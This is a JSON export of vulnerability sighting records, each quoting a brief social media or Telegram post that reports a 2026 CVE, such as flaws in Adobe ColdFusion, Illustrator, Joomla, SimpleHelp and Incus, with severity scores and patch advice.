"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48752", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtmgzca3x62t", "content": "CVE-2026-48752 - incus\nIncus can be tricked with a specially crafted container image or backup to follow a hidden link that points to any folder on the server. This lets an attacker view or overwrite\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#incus #debian #Debian13 #CVE #infosec", "creation_timestamp": "2026-08-21T19:00:05.113701Z"}, {"uuid": "6b965a91-bd0a-4ea7-848e-e295a18c9ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48252", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqnswcmjpx2q", "content": "CVE-2026-48252 (HIGH) CVSS 8.6: https://experiencedigest.org/2026/07/14/cve-high-cvss.html", "creation_timestamp": "2026-07-15T03:50:14.328328Z"}, {"uuid": "54f06308-7fab-4bf7-bb70-ede495668d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48254", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqnswdihda2t", "content": "CVE-2026-48254 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/14/1332c3.html", "creation_timestamp": "2026-07-15T03:50:15.150859Z"}, {"uuid": "d3ce9411-a768-4d92-ae34-fa8427189428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48260", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqnswen63h2q", "content": "CVE-2026-48260 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/14/2a2282.html", "creation_timestamp": "2026-07-15T03:50:17.057879Z"}, {"uuid": "49327ab8-8f32-45e4-828e-61d4b8b8607c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48371", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqnswfyb2p2j", "content": "CVE-2026-48371 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/14/212339.html", "creation_timestamp": "2026-07-15T03:50:17.949084Z"}, {"uuid": "04aa2326-9ea1-4f44-9ce0-cfb99a85daf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48334", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116922110851046198", "content": "CRITICAL: CVE-2026-48334 impacts Adobe Illustrator Desktop 2026 (CVSS 9.3). Improper input validation lets attackers run code if a user opens a malicious file. No patch \u2014 open only trusted files. https://radar.offseq.com/threat/cve-2026-48334-improper-input-validation-cwe-20-in-92b003786ac4de7b #OffSeq #Adobe #Vuln #CVE202648334", "creation_timestamp": "2026-07-15T04:30:26.910287Z"}, {"uuid": "810a3f3d-a291-4200-8105-f98b063d9468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48334", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqnv6aqcuy2t", "content": "CVE-2026-48334 (CRITICAL, CVSS 9.3) in Adobe Illustrator Desktop 2026 allows code execution via malicious files. Patch pending \u2014 open files only from trusted sources. https://radar.offseq.com/threat/cve-2026-48334-improper-input-validation-cwe-20-in-92b003786ac4de7b #OffSeq #Adobe #Security", "creation_timestamp": "2026-07-15T04:30:28.876494Z"}, {"uuid": "4da7bb4a-3c72-4018-837f-335f661f1688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48779", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqnv6fxji52x", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48779](https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7...\nhttps://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7 #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-07-15T04:30:33.578799Z"}, {"uuid": "d471a3c7-d95a-4b56-9269-2bd086a25e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48526", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqnvav64vs2k", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48526](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx)\nPyJWT...\nhttps://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-07-15T04:31:56.806110Z"}, {"uuid": "6326e2c4-e350-4f1d-b9a0-d6c62638d0e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48370", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqnxbgcyov2a", "content": "CVE-2026-48370 - OOB write in Media Encoder. Arbitrary code execution if user opens malicious file. CVSS 7.8. No patch available. Be cautious with unknown files. #CVE #infosec #MediaEncoder\n\nhttps://www.valtersit.com/cve/CVE-2026-48370/", "creation_timestamp": "2026-07-15T05:08:02.243702Z"}, {"uuid": "4d5b8d80-d439-4577-8433-28f959136fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48370", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116922259945417226", "content": "CVE-2026-48370 - OOB write in Media Encoder. Arbitrary code execution if user opens malicious file. CVSS 7.8. No patch available. Be cautious with unknown files. #CVE #infosec #MediaEncoder\nhttps://www.valtersit.com/cve/CVE-2026-48370/", "creation_timestamp": "2026-07-15T05:08:50.410892Z"}, {"uuid": "0d9fb17c-1b53-4373-931a-1340ba7c9f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48324", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116922464631643074", "content": "CVE-2026-48324 (CRITICAL, CVSS 9.1): Adobe ColdFusion 2025 suffers from an SQL Injection (CWE-89) allowing arbitrary code execution. No patch confirmed \u2014 restrict access & monitor SQL activity. https://radar.offseq.com/threat/cve-2026-48324-improper-neutralization-of-special--e4f7ad5cedb0440f #OffSeq #ColdFusion #SQLInjection #Vuln", "creation_timestamp": "2026-07-15T06:00:25.224044Z"}, {"uuid": "7bb025c8-e4b9-44f6-a77d-46097606904f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48324", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqo2753h3w2c", "content": "Adobe ColdFusion 2025 faces a CRITICAL SQL Injection (CVE-2026-48324, CVSS 9.1) enabling code execution. Patch not confirmed \u2014 restrict access & monitor for attacks now. https://radar.offseq.com/threat/cve-2026-48324-improper-neutralization-of-special--e4f7ad5cedb0440f #OffSeq #ColdFusion #Vulner...", "creation_timestamp": "2026-07-15T06:00:27.609877Z"}, {"uuid": "fe9cca31-128c-4e98-ba78-e2c61b67149d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48318", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116922818704001664", "content": "Adobe ColdFusion 2025 is affected by a CRITICAL path traversal vuln (CVE-2026-48318, CVSS 9.9). Attackers can read arbitrary files \u2014 no user interaction. Restrict ColdFusion access & monitor logs until a patch is released. Details: https://radar.offseq.com/threat/cve-2026-48318-improper-limitation-of-a-pathname-t-89bd432b493aca98 #OffSeq #CVE202648318 #ColdFusion #Infosec", "creation_timestamp": "2026-07-15T07:30:28.041616Z"}, {"uuid": "217f42c5-9cfa-4efb-8a6b-75c8a44a5c64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48318", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqo7a5d5rj24", "content": "CVE-2026-48318: CRITICAL path traversal in Adobe ColdFusion 2025 allows attackers to read files outside intended scope. Limit service exposure & monitor activity until patch info is available. https://radar.offseq.com/threat/cve-2026-48318-improper-limitation-of-a-pathname-t-89bd432b493aca98 #Off...", "creation_timestamp": "2026-07-15T07:30:29.654685Z"}, {"uuid": "b141ce4c-c188-4076-8b66-5fc255ef7c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48356", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqoilwqix325", "content": "CVE-2026-48356 (CRITICAL) CVSS 9.6: https://experiencedigest.org/2026/07/15/cve-critical-cvss.html", "creation_timestamp": "2026-07-15T10:18:08.807680Z"}, {"uuid": "eea74ec6-e651-45ba-84a1-aeb0aed956ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48358", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqoim4w74e24", "content": "CVE-2026-48358 (CRITICAL) CVSS 9.1: https://experiencedigest.org/2026/07/15/061644.html", "creation_timestamp": "2026-07-15T10:18:15.932398Z"}, {"uuid": "cd3a7d57-1f60-454b-9bb2-a10378ca25c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48359", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqoimczvq22q", "content": "CVE-2026-48359 (CRITICAL) CVSS 9.6: https://experiencedigest.org/2026/07/15/0d2a4c.html", "creation_timestamp": "2026-07-15T10:18:21.375726Z"}, {"uuid": "2df53847-af05-47e8-95b2-1100bf2411d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48259", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqoimj2ktr27", "content": "CVE-2026-48259 (CRITICAL) CVSS 9.6: https://experiencedigest.org/2026/07/15/061641.html", "creation_timestamp": "2026-07-15T10:18:27.618823Z"}, {"uuid": "d1c8d0df-ce3c-49eb-8d61-4612aa97a8d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48327", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116923526486640924", "content": "Adobe ColdFusion 2025 hit by CRITICAL CVE-2026-48327: Incorrect Authorization (CVSS 9.0) enables arbitrary code execution \u2014 no user interaction needed. Restrict network access & limit privileges until patch released. https://radar.offseq.com/threat/cve-2026-48327-incorrect-authorization-cwe-863-in--27904a5083d83266 #OffSeq #ColdFusion #CVE202648327 #Infosec", "creation_timestamp": "2026-07-15T10:30:27.885315Z"}, {"uuid": "07348b1b-9ff7-40ef-93ef-f2f33ce6a290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48327", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqojbywmil2a", "content": "CRITICAL: Adobe ColdFusion 2025 is vulnerable (CVE-2026-48327, CVSS 9.0) to remote code execution \u2014 no user interaction required. Restrict access and limit privileges until fix is confirmed. https://radar.offseq.com/threat/cve-2026-48327-incorrect-authorization-cwe-863-in--27904a5083d83266 #OffSe...", "creation_timestamp": "2026-07-15T10:30:29.514888Z"}, {"uuid": "cbc95d09-df0e-40f5-8f04-eceff92ceb80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/thehackernews/9367", "content": "\ud83d\uded1 SimpleHelp RMM CVE-2026-48558 exploited for OIDC authentication bypass.\n\nAttackers gain technician sessions to deploy TaskWeaver and Djinn Stealer. Djinn Stealer targets cloud, code, AI tools, browsers, SSH, and wallets.\n\nRead the full story: https://thehackernews.com/2026/06/attackers-exploit-simplehelp-cve-2026.html", "creation_timestamp": "2026-07-15T12:00:03.236443Z"}, {"uuid": "fa3097aa-fcc6-494c-b74a-78b0ccfe72c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://t.me/thehackernews/9386", "content": "\ud83d\udea8 Adobe patched 9 flaws in ColdFusion and Campaign Classic, 7 rated CVSS 10.0.\n\nColdFusion issues enable RCE, privilege escalation, file read, and bypass.\n\nCampaign Classic CVE-2026-48286 impacts on-prem ACC v7 only.\n\nRead: https://thehackernews.com/2026/07/adobe-patches-7-cvss-100-flaws-in.html", "creation_timestamp": "2026-07-15T12:00:03.617116Z"}, {"uuid": "dc0c19db-459b-4fca-aa67-398d6b960d7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/thehackernews/9260", "content": "\ud83d\udea8 A Joomla flaw is now on CISA\u2019s exploited bug list.\n\nCVE-2026-48907 has a max CVSS score of 10.0 and can let attackers upload and run PHP code through JCE editor profiles.\n\nAffected versions: 1.0.0 through 2.9.99.4\nFixed in: 2.9.99.5\n\nDetails here: https://thehackernews.com/2026/06/cisa-warns-of-actively-exploited-joomla.html", "creation_timestamp": "2026-07-15T12:00:05.080863Z"}, {"uuid": "c7d16786-60b7-47f8-a4d0-0d84c2caae65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/information_security_channel/55533", "content": "Critical Adobe ColdFusion Vulnerability Exploited in Attacks\nhttps://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/\n\nHackers are exploiting a recently patched critical vulnerability (CVE-2026-48282) in Adobe ColdFusion that carries a CVSS score of 10/10.\nThe post Critical Adobe ColdFusion Vulnerability Exploited in Attacks (https://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-15T12:00:06.049660Z"}, {"uuid": "f035a50c-cad2-44e3-bd00-9063bd4182c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48758", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mqoodma5yp2c", "content": "\n\ud83d\udea8 New MEDIUM CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-48758 impacts @sigstore/core in 1 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/596\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-07-15T12:00:51.442081Z"}, {"uuid": "d41cf756-c161-48ca-8f15-8706a83a50ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48815", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mqoodrr2wi2t", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-48815 impacts sigstore in 1 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/597\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-07-15T12:00:58.101538Z"}, {"uuid": "b22479d1-8967-47f1-9316-7e73d5a2181e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/HackerNewscyber/3116", "content": "\u2708\ufe0f\u0647\u0634\u062f\u0627\u0631 CISA \u062f\u0631\u0628\u0627\u0631\u0647 \u062d\u0645\u0644\u0627\u062a \u0641\u0639\u0627\u0644 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0641\u0632\u0648\u0646\u0647 LiteSpeed \u062f\u0631 cPanel\n\n\ud83c\udfa5 \u0622\u0698\u0627\u0646\u0633 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0622\u0645\u0631\u06cc\u06a9\u0627 (CISA) \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0627\u0641\u0632\u0648\u0646\u0647 LiteSpeed cPanel \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-48172 \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u0648 \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u062f\u0648\u0644\u062a\u06cc \u062e\u0648\u0627\u0633\u062a\u0647 \u0638\u0631\u0641 \u0633\u0647 \u0631\u0648\u0632 \u0622\u0646 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0646\u0646\u062f.\n\n\ud83c\udfa4\u0627\u06cc\u0646 \u0646\u0642\u0635 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0627\u0634\u062a\u0631\u0627\u06a9\u06cc \u0628\u0647 \u0633\u0637\u062d \u06a9\u0627\u0645\u0644 \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc (root) \u0627\u0631\u062a\u0642\u0627 \u062f\u0647\u0646\u062f \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0633\u06cc\u0633\u062a\u0645 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u0646\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631 \u0627\u0632 2.4.8 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u0648 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0645\u06a9\u0627\u0646 \u0646\u0641\u0648\u0630 \u06af\u0633\u062a\u0631\u062f\u0647\u060c \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u062a\u0647\u062f\u06cc\u062f \u062c\u062f\u06cc \u0628\u0631\u0627\u06cc \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0648\u0628 \u0634\u0646\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u2708\ufe0f@HackerNewsCyber", "creation_timestamp": "2026-07-15T13:00:05.353642Z"}, {"uuid": "1d80d538-7e40-4e47-b1e7-2b01ce4885e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/HackerNewscyber/3196", "content": "\u2708\ufe0f\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc SimpleHelp \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0634\u0627\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062c\u062f\u06cc\u062f \u0633\u0631\u0642\u062a \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\n\n\ud83c\udfa4\u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0633\u0627\u06cc\u0628\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc CVE-2026-48558 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 SimpleHelp \u0628\u0631\u0627\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062c\u062f\u06cc\u062f Djinn Stealer \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u06a9\u0647 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0648 \u0645\u06a9\u200c\u0627\u0648\u0627\u0633 \u0631\u0627 \u0647\u062f\u0641 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f\u060c \u0628\u0627 \u06a9\u0645\u06a9 \u0628\u0627\u0631\u06af\u0630\u0627\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u06cc \u062a\u0627\u0632\u0647\u200c\u0627\u06cc \u0628\u0647 \u0646\u0627\u0645 TaskWeaver \u0631\u0648\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0642\u0631\u0628\u0627\u0646\u06cc \u0646\u0635\u0628 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\ud83c\udfa5\u0628\u0631\u0631\u0633\u06cc\u200c\u0647\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f Djinn Stealer \u0628\u0627 \u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062d\u0633\u0627\u0633 \u0634\u0627\u0645\u0644 \u062a\u0648\u06a9\u0646\u200c\u0647\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc\u060c \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0627\u0628\u0631\u06cc\u060c \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u0648\u0633\u0639\u0647 \u0647\u0648\u0634 \u0645\u0635\u0646\u0648\u0639\u06cc\u060c \u0645\u062e\u0627\u0632\u0646 \u06a9\u062f\u060c \u06a9\u06cc\u0641\u200c\u067e\u0648\u0644\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0627\u0631\u0632\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062d\u0631\u0645\u0627\u0646\u0647 \u0631\u0627 \u0633\u0631\u0642\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f. \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0646\u0633\u0628\u062a \u0628\u0647 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0641\u0639\u0627\u0644 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0645\u062f\u06cc\u0631\u0627\u0646 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc SimpleHelp \u0631\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0645\u0627\u0645\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0648 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u0627 \u062f\u0631 \u0635\u0648\u0631\u062a \u0627\u062d\u062a\u0645\u0627\u0644 \u0646\u0641\u0648\u0630 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u0646\u062f.\n\n\u2708\ufe0f@HackerNewsCyber", "creation_timestamp": "2026-07-15T13:00:05.548632Z"}, {"uuid": "66b7b179-301c-425f-98e4-2eeb606f3f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48334", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqov6ph23e2w", "content": "CVE-2026-48334 - Critical RCE in Illustrator due to improper input validation. CVSS 9.3. User interaction required. No patch available yet. Do not open untrusted files. #CVE #Illustrator #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48334/", "creation_timestamp": "2026-07-15T14:03:23.527228Z"}, {"uuid": "04619b8c-5371-4986-935f-9b262f0b4967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48334", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116924364900201324", "content": "CVE-2026-48334 - Critical RCE in Illustrator due to improper input validation. CVSS 9.3. User interaction required. No patch available yet. Do not open untrusted files. #CVE #Illustrator #infosec\nhttps://www.valtersit.com/cve/CVE-2026-48334/", "creation_timestamp": "2026-07-15T14:03:41.810722Z"}, {"uuid": "acdaf73f-4568-428a-bc5c-e3fb4a4cd1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://bsky.app/profile/se-nyheter.bsky.social/post/3mqowozivkj2f", "content": "Microsoft Copilot: Webbplatser kan i hemlighet skicka kommandon till AI:n\n\nhttps://www.europesays.com/se/306251/\n\nMicrosoft \u00e5tg\u00e4rdade en kritisk s\u00e5rbarhet i Copilot under Patch Tuesday den 14 juli. S\u00e5rbarheten, som har beteckningen CVE-2026-48561,\u2026", "creation_timestamp": "2026-07-15T14:30:26.226499Z"}, {"uuid": "372ce924-0ef7-47a7-bbe3-811d4f5c3bf7", "vulnerability_lookup_origin": 